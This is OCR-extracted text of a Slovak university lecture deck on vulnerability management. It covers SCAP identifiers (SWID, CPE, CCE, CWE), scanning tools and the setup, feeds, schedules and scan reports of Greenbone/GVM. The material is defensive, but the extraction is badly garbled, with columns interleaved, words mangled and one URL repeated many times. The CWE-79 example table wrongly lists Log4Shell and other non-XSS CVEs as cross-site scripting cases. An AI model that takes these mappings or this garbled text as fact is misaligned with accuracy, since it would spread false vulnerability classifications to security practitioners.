(Asset Identification) </ai:computing-device>

</ai:asset>

= XML Format / Datovy model

|dentifikacia a reporting aktiv
Standardizovany spdsob, ako v bezpe&nostnych reportoch oznadit jednotlivé aktivum

Specifikacia pre jednoznaénu identifikaciu aktiv na zaklade znamych identifikatorov
Software
Nainstalované aplikacie, verzie
Hardware
Sériove Cisla, GUID (Globally Unique Identifier), Konfiguracia
Zariadenia
Hostname, IP Adresa, MAC adresa

Umoznuje korelaciu skenov, CMDB a inventara naprie€ réznymi nastrojmi

PLAN [OBNOVY_ ‘ v



https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3

. . <Softwareldentity
Secu"ty Content Automation Protocol xmlns="http://standards.iso.org/iso/19770/-2/2015/schema

xsd"

SCAP - SWID name="PrikladAplikacia"

tagId="com.fri.PrikladAplikacia-1.0.0"
version="1.0.0"

tagversion="1"

corpus="false">

= SWID <Entity name="Example Corp" role="softwareCreator" />
. <Meta product="ExampleApp" edition="enterprise" />
(Software Identification Tag) </SoftwareIdentity>
= XML Tag

Definovany standardom ISO/IEC 19770-2
stanovuje Specifikacie pre oznaCovanie softvéru s cieflom optimalizovat jeho identifikaciu a
spravu.

Dodany do SW alebo generovany nastrojom ktory autoritativne identifikuje nainstalovany SW.

Nazov
Verzia
Vendor
Edicia

Licenéné audity, software asset management
Mapovanie zranitelnosti a konfiguracii na konkrétne produkty

PLAN [OBNOVY_ ‘ v
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Security Content Automation Protocol

SCAP - Identifikacné schemy CCE, CPE

= CCE = CPE
(Common Configuration Enumeration) (Common Platform Enumeration)
= SCAP Specifikacia = Struktdrované, jednoznaéne definované nazvy
Poskytuje jedine¢né identifikatory pre pre produkty a IT platformy
konfiguraéné nastavenia 0S
Policy HW
Registry SW
Values = Pouzivané:
= Mapovanie medzi benchmarks, nastrojmi, NVD, SCAP
dokumentaciou Softvérové skenery, VM nastroje - Nmap, IBM
Rychle porovnanie - ¢i hovorime o rovnakej Randori...
konfiguracii alebo nastaveni. URI formit (2.2):
<Rule id="xccdf_org.example_rule_disable_autorun" ] ]
xmlns="http://checklists.nist.gov/xccdf/1.2" cpe:/o:microsoft:windows_10::
severity="medium"> cpe:/a:apache:http_server:2.4.58
<titlerDisable AutoRun for all drives</title>
<identifier system="http://cce.mitre.org">CCE-12345-6 Format 2.3 (aktudalne v praxi):
</identifier>
<l-- kontrola by bola realizovana cez OVAL test --> cpe:2.3:o0:microsoft:windows_1@:22h2:*:* ¥ %1% :x64:%
</Rule> cpe:2.3:a:openjdk:openjdk:17.@.1@: % ¥ ¥k ko ok

PLAN [OBNOVY_ ‘ v



https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3

Security Content Automation Protocol

SCAP - CWE, TMSAD = TMSAD

(Trust Model for Security Automation Data)

= Definuje formalny model dévery pre obsah a
" CWE vysledky SCAP/bezpecnostnej automatizacie.

(Common Weakness Enumeration) Odporucania, ako pouzivat existujuce Specifikacie
= Katalog SW/HW slabin (weakness types) na zabezpedenie integrity, autentizacie a
SIuzi ako jednotny jazyk pre chyby vo vyvoji a dohfadatelnosti SCAP obsahu a vysledkov.
analyze zranitelnosti XML Digitalny podpis
Hash
Key Info
2024 CWE Top 25 Most Dangerous Software Weaknesses |dentity
| Top 25 Home ‘ ‘Share via: X‘ | View in table format ‘ ‘ Key Insights ‘ ‘ Methodology ‘ <scap:content-collection
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') xmlns:scap:"http://scap.nlst.gov/schema/s?a p/source/1.2"
CWE-79 | CVEs in KEV: 3 | Rank Last Year: 2 (up 1) A ¥xmlns:ds="http://www.w3.0rg/2000/09/xmldsig#">
<l-- SCAP obsah: XCCDF, OVAL, AI, ARF... -->
out-of-bounds Write <ds:Signature>
CWE-787 | CVEs in KEV: 18 | Rank Last Year: 1 (down 1) ¥ <ds:SignedInfo>
<l-- algoritmy, referencie na podpisované Zasti
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') --r
CWE-89 | CVEs in KEV: 4 | Rank Last Year: 3 </ds:SignedInfo>
<ds:Signaturevalue>...</ds:Signaturevalue>
Cross-Site Request Forgery (CSRF) <ds:KeyInfo> S
CWE-352 | CVEs in KEV: O | Rank Last Year: 9 (up 5) A <l-- certifikat vydavatela benchmarku -->
</ds:KeyInfo>
Improper Limitation of a Pathname to a Restricted Directory (‘'Path Traversal') </ds:Signature>
CWE-22 | CVEs in KEV: 4 | Rank Last Year: 8 (up 3) A </scap:content-collection>

KOMPETENCNE CENTRUM
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https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3

Common Weakness Enumeration

v o ; = CWE umoznuje:
Na co sluzi databaza CWE = identifikovat systematické chyby

(napr. chybajuca validacia vstupu),
= navrhovat bezpecny dizajn aplikacii,
= vzdelavat vyvojarov a architektov.

= CWE je databaza tried
bezpecnostnych slabin, nie
konkrétnych zranitelnosti.

. Je,j ciel’o_m je popis,a\t_’_ typy chyb v = CWE poskytuje:
navr_hu, |’m_pleme'ntacn alebo = jednotnu terminolégiu pre:
konfiguracii systémov. VyVojarov,

bezpecCnostnych analytikov,

y N auditorov,
= CWE = ,,preco chyba vznikla nastroje (SAST/DAST/SCA).

= CVE = ,kde presne chyba je“ SAST (analyza zdrojového kodu),
DAST (testovanie aplikacii),

code review nastroje,
= Kazdé CVE je: SIEM/ reporting.

= Namiesto ,nejaka chyba v kéde*
= mapované na jednu alebo viac CWE, ,,é\vrr\}lg_s78: r&erjgsg_gi%/e gc\:/rir?tir?g“_)

RS Fi
R
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Common Weakness Enumeration

Priklad: CWE-79 — Cross-Site Scripting (XSS)

= CWE-79
Trieda zranitelnosti: Cross-Site Scripting (XSS)

= Pocet existujucich CVE: tisice (CWE reprezentuje triedu chyb, nie konkrétnu
zranitel'nost)

Produkt / Doévod zaradenia
V= lIb Technologia [HER do KEV

Logd] (web Masivne
CVE-2021-44228 9% W Reflected / Stored  zneuZivanie v

rozhrania)

realnych utokoch
Vysoky dopad,
Siroké nasadenie
Sucast vacsej
kompromitacie

CVE-2022-22965 VMware vCenter Stored XSS

CVE-2023-34362 MOVEIit Transfer Stored XSS

S i
P Eurd ni
T Generabor




Nastroje na spravu zranitelnosti (Vulnerability & Compliance Management)

Kde sa SCAP realne pouziva

Mnohé skenery a hodnotiace nastroje vyuzivaju SCAP na standardizaciu dat
o zranitelnostiach, konfiguraciach a compliance:

= OpenSCAP (Red Hat / open source)

= referenéna implementacia SCAP, pouziva OVAL, XCCDF, CPE, CVE, CVSS.
= Red Hat Enterprise Linux (RHEL)

= ma zabudovany SCAP Security Guide (profil DISA STIG, CIS Benchmarks)
= Tenable Nessus

= podporuje import SCAP feedov (napr. NIST NVD SCAP data feed).

= Qualys Policy Compliance, Rapid7 InsightVM, OpenVAS / Greenbone
= vyuzivaju SCAP formaty pri porovnavani s NIST NVD.




Viladne a regulované prostredia (USA / NATO / EU)
Kde sa SCAP realne pouziva

Zakladna infrastruktura pre vladne a regulované prostredia (USA/ NATO / EU):
= U.S. Federal agencies (FISMA / FedRAMP):

= SCAP je povinny standard na automatizované hodnotenie konfiguracii systémov a
compliance podla NIST SP 800-126.

= NIST National Vulnerability Database (NVD):

= distribuuje SCAP XML feedy — CVE, CPE, CCE, CVSS - ktoré pouzivaju predtym
spomenuté skenery.

DISA STIGs (Defense Information Systems Agency, USA DoD):
= vyuzivaju SCAP profily pre kontrolu konfiguracii systémov.

NATO NCIRC / EDA a niektoré EU $tatne projekty (napr. ENISA frameworky)
= odporucaju SCAP pre interoperabilitu narodnych SOC-ov.




Coho vsetkého sa tyka...

Testovanie zranitelnosti siete
= zahrfna tieto 3 aktivity:

Aktivita | Popis | Nastrojeatimy

SimpleRisk, Eramba, Monarc, ...
Manazeér rizik, Specialista na
analyzu rizik, interni alebo externi
konzultanti, ramce riadenia rizik.

GVM (OpenVas), Rapid7, Nessus,
Skenovanie zariadeni, skenovanie portov,  Qualys, Nmap, Ovasp-Zap,
Vulnerability skenovanie inych zranitelnosti a sluzieb, Microsoft Baseline Analyzer, ...
Assessment manazovanie zaplat/oprav (patch BezpecCnostni analytici, analytici
management) zranitel'nosti, systemovi
administratori.

Metasploit Framework, CORE
Impact, Burp Suite, Aircrack-ng, ...
Eticki hackeri, penetraCni testeri,
red team, bezpecCnostni konzultanti.

Jednotlivci vykonavaju komplexnu analyzu
Risk analysis = dopadov utokov na kriticke aktiva a
fungovanie spoloCnosti

Pouzitie hackerskych technik a nastrojov na
preniknutie cez sietovu obranu a
identifikaciu hlbky potencialneho prieniku

Penetration
Testing




Prehlad nastrojov pre vyhodnocovanie zranitelnosti

= Komeréné nastroje s community ® Proprietarne

Open-source nastroje
| free verziou (enterprise) nastroje

(plne open-source, bez

komerénej nodporv ako = Greenbone Vulnerability = Tenable.sc / Tenable.io
podmlenki/f il Management (GVM) — enterprise vulnerability
- OWASP ZAP — dvnamické = komeréné rieSenie Greenbone management
t y Enterprise, dostupna open- - s VMDR -
estovanie webovych cIou ova

source/community edicia (GVM) platforma pre

aplikacii (DAST) riadenie zranltelnos

= Nikto — testovanie
zranitelnosti webovych
serverov

= Trivy — skenovanie
kontajnerov, obrazov a
zavislosti

= Vuls — analyza zranitelnosti

operacnych systemov

= Wapiti — open-source web

vulnerability scanner
= Nuclei -

sablonovy skener
zranitelnosti a konfiguracii

(OpenVAS je skenovaci engine v
ramci GVM)

Nessus Essentials — bezplatna
verzia Nessus (limitovany pocCet
aktiv)

Burp Suite Community Edition
— manualne testovanie webovych
aplikacii

Qualys Community Edition —

zakladne skenovanie pre malé
prostredia

= Snyk (Free tier) — analyza open-

source zavislosti a kontajnerov

PLAN [OBNOVY_

Rapid7 InsightVM /
Nexpose — kontinualne
vyhodnocovanie
zranitelnosti

Acunetix —
automatizovane
testovanie webovych
aplikacii

IBM QRadar
Vulnerability Manager —
VM integrované do SIEM
Tenable.ot — hodnotenie
zranitelnosti v OT/ICS
prostredi



GVM / OpenVAS

Jeden z mnohych nastrojov, dostupny aj vo Free verzii

OpenVAS / GVM vznikol ako fork povodneho Nessusu, vratane jazyka NASL
(Nessus Attack Scripting Language)
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Greenbone/GVM

= \erzie:
= Greenbone Community Edition
= Greenbone Enterprise Appliances
= Greenbone Cloud Service

= Funkcie

= Aktualizacie testov na zranitelnosti:
= Community Feed S
= Enterprise Feed B

Community Feed |Enterprise Feed
NVT 159 122 203 717

Déta su aktualne k datumu 5.4.2025. Ziskané boli z inStalacie Greenbone Cummunity Edition
a Seclinfo portalu.

Greenbone

PLAN [OBNOVY_
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Greenbone/GVM

Community Feed

Enterprise Feed

Produkty ur€ené na domace pouzitie

(napr. Ubuntu Linux, TP-Link, MS Office)

Nemecka bezpecfnostna politika

IT-Grundschutz

Produkty urCené pre podniky

(napr. MS Exchange, Palo Alto, Cisco, l10T/OT) X
Politiky suladu s CIS normami* %
Dodatocéné politiky suladu** %
Pristup k podpore Greenbone Enterprise %
Pristup k expertnym sluzbam %

Hardening). Data boli ziskané z inStalacie GEA a z oficialneho webu.

*Obsahuje 23 politik. “*Obsahuje 5 politik (BSI TR-02102-4, BSI TR-03116, MS Win Registry Check, SiSyPHuS Win10, Win 10 ver 1809 Security

ate Financované
PR Europskou tGniou
NextGenerationEU
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Greenbone/GVM

= Moznosti nasadenia Community:
= Docker Compose
= Build zdrojovy kod
= Kali
= Community repozitar

= Moznosti nasadenia Enterprise:
= VM
= HW Box
= Cloud

docker

& Greenbone




Greenbone/GVM

= Nasadenie - VM

Greenbone

= Verzia W [ Greenbone Enterprise O 2 @
= Greenbone Free / Greenbone Enterprise Appliance ol Appliance
(GEA) # Click to edit
Security Hardening ® |
5] General Stats Console Network Disks Snapshots Logs Advanced
- SSH Login Protection (5) _ - n o o A
Nastaveny limit: 5 neuspesnych pokusov o + : -
autentifikaciu. (Limit na pripojenia nie je)
= Po prekrog¢eni je prihlasenie zablokované pre - | B 1 copy s | g | mROP | = :
konkrétneho pouzl’vatel,a' Jelcome to Greenbone 0S5 24.10.1 (ttuyl)

= V pripade 2 SSH pripojeni na 1 ucet, GVM upozorni. he web inferface ic available at:
= SSH je Standardne vypnuté.

gum login: _

= Web Sessions per User (2)

= Rozsah: 0—25 aktivnych relacii ___Selfcheck

= Hodnota 0 = bez obmedzenia

u Vy§§|a hodnotawdeﬁnuje maxima'my pocet para|e|nyCh Solution: There is another user logged in to the Greenbone
relacii pre pOUZIVatera En:ﬁﬁgéﬁge. It is probably not a good idea to work with multiple

= Pri prekroCeni limitu web relacii je nova relacia administrators at the same time.

odmietnuta
= Aktualne otvorené relacie zostavaju aktivne

< UK >

ate Financované
DR Eu rnpsho aniou
NextGenerationEU
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Greenbone/GVM

Funkc;|e GEA (Greenbone Enterprise Appliance):

Override — umoznuje manualne upravit zavaznost alebo stav
najdenej zranitelnosti (napr. oznacit' ako akceptované riziko,
faloSny pozitivny nalez alebo internu vynimku).

Remediation tickets (Excel) — generuje automatizované
exporty alebo reporty vo formate Excel s prehfadom zistenych
zranitelnosti a odporu€anymi krokmi na ich odstranenie; tieto
vystupy sa pouzivaju pri koordinacii s administratormi.

Alerts — poskytuje systém notifikacii (e-mail, webhook, syslog)
na upozornenie pri novych alebo kritickych nalezoch, zmene
stavu hostov Ci vysledkov planovanych skenov.

Schedules — umozniuje planovanie a automatické spustanie
skenov, reportov a aktualizacii databaz zranitefnosti podfa
stanoveného harmonogramu, Co zabezpecuje priebezné
monitorovanie prostredia.

Compliance Audits — umoznuje hodnotit’ systémy podla
bezpecénostnych Standardov a benchmarkov (napr. CIS, ISO
27001, BSI IT-Grundschutz, PCI-DSS) a vytvarat auditne
reporty o sulade konfiguracii s pozadovanymi politikami.
LDAP/ Radius

API — ponuka rozhranie (REST/OMP), ktoré umozriuje
automatizaciu uloh, integraciu s inymi bezpecnostnymi
nastrojmi (napr. SIEM, SOAR, CMDB) a export dat o
zranitelnostiach do externych systémov pre dalSie
spracovanie.

ate, Financované
PR Europskou tGniou
NextGenerationEU
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NVT Name Telnet Unencrypted Cleartext Login

NVT OID 1.3.6.1.4.1.25623.1.0.108522

Active Yes

Application

Hosts 158.193. 1IIINEGEGNG

Port Any

Severity > 0.0

Task FRI - KIS STUD - VLAN I - public|
Result Any

Appearance

Override from Severity > 0.0 to Log

Riegenie: Akceptacia rizika

Datum: 6.5.2025

Schvélil:m
Dévod: Studentské zadania na Dynalab/Dynamips. Iba cisco

zariadenia v rdmci zadania.

Modified Tue, May 6, 2025 11:50 AM CEST




Prakticky checklist

pre Vulnerability Management

Identifikacia zranitelnosti

Klasifikacia a hodnotenie zranitelnosti
Prioritizacia a planovanie oprav

Naprava (remediation) / Akceptacia bez napravy

Ok wOb-~

Monitorovanie a reporting
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VM checklist

= 1. Identifikacia zranitelnosti

UrcCit a inventarizovat' vSetky systémy,
aplikacie a zariadenia v organizacii (CPE
zoznam)

Nastavit automatické skenovanie

zranitelnosti (napr. Nessus,
GVM/OpenVAS, Qualys)

Definovat frekvenciu skenovania (napr.
tyzdenne pre kritické systemy, mesacCne
pre menej kriticke)

Prijimat’ a integrovat aktualizovane feedy

zranitelnosti (NVD/CVE, SCAP, vendor
advisories)

. Financované
[ Eurépskou Gniou
NextGenerationEU

v

PLAN [OBNOVY_

’_f netbox

All Objects = B

2 admin ¥

B3 Organization B3 Organization @ IPAM [3J Virtualization
- sites 30 VRFs 1 Clusters 33
== Devices
Tenants 12 Aggregates 1 Virtual Machines 180
y‘ Connections 5rea
Prefixes 7
T Wireless
£ Inventory & Circuits
1P Ranges 0
IPAM
Racks 43 Providers 9
IP Addresses 11
£ overlay
Device Types 22 Circuits 29
VLANS 19
Virtualization
= Devices 88
S Circuits & Connections
¥ Power
T Wireless Cables 115
‘ Buveery Power Panels 4
= Wireless LANs 1 Console 0
= G Power Feeds 48
Wireless Links 0 Interfaces 97
Power Connections 26
B Change Log
D Time Username Full Name Action Type Object Request ID
755 2022-082614:22 admin  — G pam>site oK1 9817317d-b67f-440a-99ca-dae07ede94d

754 2022-08-2614:17 admin

753 2022-08-26 14:15 admin

KOMPETENCNE CENTRUM
10 ROZVOJA KYBERNETICKE) BEZPECNOSTI
ZILINSKES UNIVERZITY ¥ JILINE

EETD pam > device role

EEZD oM > module bay template

Server Chassis c07foab2-2351-4c58-825a-8b6a2425a1ab

OnboardAdministrator-2  24807¢61-9952-49c6-b8a5-69760bfcc4b3




Greenbone/GVM

Skenovanie FRI:

Name

FRI - KMM (KDS) - Public (146)
(Katedra matematickych metod a operacnej analyzy (Katedra dopravnych sieti))

FRI - KIS - VLAN 33
(Lab RB303)

FRI - KTK - Public (140)
(Katedra technickej kybernetiky)

FRI - IPCam - Public (145)
(FRI IP Kamery)

FRI - KMME - Public (133)
(Katedra mikro a makro ekonomiky)

FRI - KMM (KDS) - Labs Public (136)
(Katedra matematickych metod a operaénej analyzy (Katedra dopravnych sieti))




Vytvorenie opakovaného harmonogramu a priradenie k danému cielu skenovania

Greenbone/GVM

Skenovanie FRI raz mesacne:

Edit Schedule Raz do mesiaca X

Marme

Sken raz do mesiaca

Comment

Skenuje raz do mesiaca opakovane od 15.11.2025 od 20:00

Start Date Start Time

14/11/2025 £ 20000 (O

Timezone

Europe/Bratislava <

RUn Until
Open End

End Date

ER

End Time

Duration
Entire Qperation

Recurrence
Maonthly o

Cancel Save

Financované
Eurépskou tniou
NextGenerationEU

Edit Task FRI-SKENOVANIE
Narme

FRI- SKENOWVANIE

Comment

Comment Sample

Scan Targets

Alerts

Schadule
Raz do mesiaca

Add results to Assets

o Yes Mo

Apply Qverrides
Q ves Mo

Min Qob
70

Auto Delete Reports
Do not automatically delete reports

© Automatically delete oldest reports but always keep

36
newest

| Cancel |

; - . MINISTERSTVO KOMPETENCNE CENTRUM
PLAN LOBNOVYJ INVESTIGLAECIONALNEHO ROZVOJA KYBERNETICKE) BEZPECNOSTI

SLOVENSKE| REPUBLIKY ZILINSKES UNIVERZITY ¥ JILINE

¢ 0O
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reports



Greenbone/GVM Feedy

= NVT - Hlavné testy zranitefnosti (nasl/.notus subory). Obsahuje vSetky testy zranitelnosti,
ktoré sa vykonavaju pocCas skenovania. Je to hlavny technicky zdroj, z ktoreho skener
pracuje.

= SCAP - Zahffia CVE, CPE a dalSie Standardizované bezpecnostné data. Sluzi na
mapovanie softvéru a priradovanie zranitelnosti k vysledkom skenu.

= CERT - Obsahuje bezpecnostné poradenstvo (advisories) od CERT timov. Poskytuje
aktualne varovania a odporucania k hrozbam.

= GVMD_DATA - Obsahuje systémové data ako Sablony reportov, portové zoznamy a
skenovacie konfiguracie. UrCuje dostupné funkcie a moznosti v rozhrani Greenbone.

% Feed Status

Type Content Origin Version Status

MWT ﬁi‘g MW TS Greenbone Enterprise Feed 2025111370700 Current
SCAP ﬁ""";"i. CVES ,r; CPEsS Greenbone SCAP Feed 2025111370507 Current

CERT T ; CERT-Bund Advisories hi DFM-CERT Advisories Greenbone CERT Feed 2025111370411 Current

GuMD_DATA 03 Compliance Folicies "E Fort Lists ﬁ Report Formats @ Scan Configs Greenbone gvmd Data Feed 20251113T0S08 Current




Greenbone/GVM feed sync

= Link: rsync://feed.community.greenbone.net/community - (community feed pre synchronizaciu)
= NVT

= Synchronizované z verejného servera pomocou greenbone-nvt-sync.

= SCAP
= Synchronizované z feedu typu SCAP pomocou greenbone-feed-sync --type SCAP.
= CERT

= Synchronizované pomocou greenbone-feed-sync --type CERT.

= GVMD_DATA

= Stiahnuté pomocou greenbone-feed-sync --type GVMD_DATA, z URL ako rsync://feed.community.greenbone.net/community.

Type Content

Wi¥ay Ws NuTs

SCAP BE cves §% cPEs

CERT s CERT-Bund Advisories 'n'"‘i" DFN-CERT Advisories

SWMD_DATA a Compliance Policies "E Fort Lists ﬁ Feport Formats @ Scan Configs

PLAN [OBNOVY_ ‘ v




VM checklist

= 2. Klasifikacia a hodnotenie

zranitelnosti

= Priradit CVSS skore alebo iny
metricky systém k zistenym
zranitelnostiam

= |dentifikovat’ kritické systémy a
data, aby sa urcilo prioritizovanie
oprav

= Urcit rizikové kombinacie (napr.
zranitelnost + dostupny exploit

Operating System

Linux Kernel

Ports

443/tcp

SSL/TLS: Report Vulnerable Cipher Suites for HTTPS

Host Port/Protocol oIp QoD

NGHE 443/tcp 1.3.6.1.4.1.25623.1.0.108031 98%

EPSS (Maximum severity CVE)

Score: 0.31387

Percentile: 0.96634
Summary

This routine reports all SSL/TLS cipher suites accepted by a service where attack vectors exists only on HTTPS services.
Detection Result

‘Vulnerable' cipher suites accepted by this service via the TLSv1.0 protocol:
TLS RSA WITH 3DES EDE CBC SHA (SWEET32)

‘Vulnerable' cipher suites accepted by this service via the TLSv1.1 protocol:
TLS_RSA WITH 3DES_EDE CBC SHA (SWEET32)

'Vulnerable' cipher suites accepted by this service via the TLSv1.2 protocol:
TLS_RSA WITH 3DES EDE CBC SHA (SWEET32)
Insight

These rules are applied for the evaluation of the vulnerable cipher suites: - 64-bit block cipher 3DES vulnerable to the SWEET32 attack
(CVE-2016-2183).

Detection Method

Checks previous collected cipher suites.
Impact

This could allow remote attackers to obtain sensitive information or have other, unspecified impacts.
Solution

Mitigation: The configuration of this services should be changed so that it does not accept the listed cipher suites anymore. Please see the
references for more resources supporting you with this task.

References
cve: CVE-2016-2183 , CVE-2016-6329 , CVE-2020-12872

url: https://ssl-config.mozilla.org , https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/TechGuidelines/TG02102/BSI-
TR-02102-1.html , https://www.bsi.bund.de/EN/Themen/Oeffentliche-Verwaltung/Mindeststandards/TLS-Protokoll/TLS-Protokoll_node.html ,
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/TechnischeRichtlinien/TR03116/BSI-TR-03116-4.html , https://
www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Mindeststandards/Mindeststandard_BSI_TLS_Version_2_4.html , https://web.archive.org/web/
2024011317594 3/https://www.bettercrypto.org , https://www.enisa.europa.eu/publications/algorithms-key-size-and-parameters-report-2014 ,
https://sweet32.info

cert-bund: WID-SEC-2024-1277 , WID-SEC-2024-0209 , WID-SEC-2024-0064 , WID-SEC-2022-2226 , WID-SEC-2022-1955 , CB-K21/1094 , CB-
K20/1023 , CB-K20/0321 , CB-K20/0314 , CB-K20/0157 , CB-K19/0618 , CB-K19/0615 , CB-K18/0296 , CB-K17/1980 , CB-K17/1871 , CB-K17/1803
, CB-K17/1753 , CB-K17/1750 , CB-K17/1709 , CB-K17/1558 , CB-K17/1273 , CB-K17/1202 , CB-K17/1196 , CB-K17/1055 , CB-K17/1026 , CB-
K17/0939 , CB-K17/0917 , CB-K17/0915 , CB-K17/0877 , CB-K17/0796 , CB-K17/0724 , CB-K17/0661 , CB-K17/0657 , CB-K17/0582 , CB-K17/0581

Financované P - a MINISTERSTVO
s NVESTICIL REGIONALNEHG 5| Vulnerability Report
Eurépskou Gniou PLAN _OBNOVY, A NFORMATIRCE
SLOVENSKE] REPUBLIKY,
NextGenerationEU -




VM checklist

= 3. Prioritizacia a

planovanie oprav

= Definovat kritéria pre
urgentné opravy (napr.
CVSS =7, dostupny
exploit, kriticky systém

= Naplanovat opravy
(patching, konfiguracia,
mitigacia) podla priorit

= Dokumentovat plan oprav

a zodpovednosti
jednotlivych timov

Financované
Eurépskou tniou
NextGenerationEU

Top 10 Hosts

M High
Medium
Low
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Operating System

Linux Kernel

Ports
443/tcp

SSL/TLS: Report Vulnerable Cipher Suites for HTTPS

Host Port/Protocol [e]]] QoD

o
NGne 443/tcp 1.3.6.1.4.1.25623.1.0.108031 98%

EPSS (Maximum severity CVE)
Score: 0.31387
Percentile: 0.96634
Summary
This routine reports all SSL/TLS cipher suites accepted by a service where attack vectors exists only on HTTPS services.
Detection Result
'Vulnerable' cipher suites accepted by this service via the TLSv1.0 protocol:
TLS_RSA_WITH_3DES_EDE_CBC_SHA (SWEET32)
‘Vulnerable' cipher suites accepted by this service via the TLSvl.1 protocol:
TLS_RSA WITH 3DES EDE CBC SHA (SWEET32)
'Vulnerable' cipher suites accepted by this service via the TLSv1.2 protocol:
TLS_RSA WITH 3DES_EDE CBC_SHA (SWEET32)
Insight

These rules are applied for the evaluation of the vulnerable cipher suites: - 64-bit block cipher 3DES vulnerable to the SWEET32 attack
(CVE-2016-2183).

Detection Method

Checks previous collected cipher suites.
Impact

This could allow remote attackers to obtain sensitive information or have other, unspecified impacts.
Solution

Mitigation: The configuration of this services should be changed so that it does not accept the listed cipher suites anymore. Please see the
references for more resources supporting you with this task.

References
cve: CVE-2016-2183 , CVE-2016-6329 , CVE-2020-12872

url: https://ssl-config.mozilla.org , https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/TechGuidelines/TG02102/BSI-
TR-02102-1.html , https://www.bsi.bund.de/EN/Themen/Oeffentliche-Verwaltung/Mindeststandards/TLS-Protokoll/TLS-Protokoll_node.html ,
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/TechnischeRichtlinien/TR03116/BSI-TR-03116-4.htmi , https://
www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Mindeststandards/Mindeststandard_BSI_TLS_Version_2_4.html , https://web.archive.org/web/
20240113175943/https://www.bettercrypto.org , https://www.enisa.europa.eu/publications/algorithms-key-size-and-parameters-report-2014 ,
https://sweet32.info
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Pomoc s prioritizaciou —

Quality of Detection

Ports

443/tcp

= QoD = skore kvality detekcie
jed nOtIiVyCh nélezov V GVM SSL/TLS: Report Vulnerable Cipher Suites for HTTPS

= Kazdy NVT (Network Vulnerability Test) ma = T Mmoo 9
priradené QoD skoére od 0 do 100

Percentile: 0.96634

= \/ySSie skore znamena vacsiu istotu, ze summary

This routine reports all SSL/TLS cipher suites accepted by a service where attack vectors exists only on HTTPS services.

detekcia je presna a nenastane falosSny

‘Vulnerable' cipher suites accepted by this service via the TLSv1.0 protocol:

p O p I aC h TLS_RSA_WITH_3DES_EDE_CBC SHA (SWEET32)

‘Vulnerable' cipher suites accepted by this service via the TLSv1.1 protocol:

| Napr_ : QOD = 1 00 SN VySOkO presné TLS RSA WITH 3DES EDE CBC SHA (SWEET32)

'Vulnerable' cipher suites accepted by this service via the TLSv1.2 protocol:

d ete kCi a’ QO D —_- 5 O _) m e n ej S po I’a hI ivé , TLS_RSA WITH 3DES_EDE CBC_SHA (SWEET32)

Insight

o L] , VAl L]
V Za d u e d a | S I e Overe n I e These rules are applied for the evaluation of the vulnerable cipher suites: - 64-bit block cipher 3DES vulnerable to the SWEET32 attack
(CVE-2016-2183).

Detection Method

Checks previous collected cipher suites.

* Prakticky vyznam:

This could allow remote attackers to obtain sensitive information or have other, unspecified impacts.

= Pomaha timom prioritizovat’ opravy podla

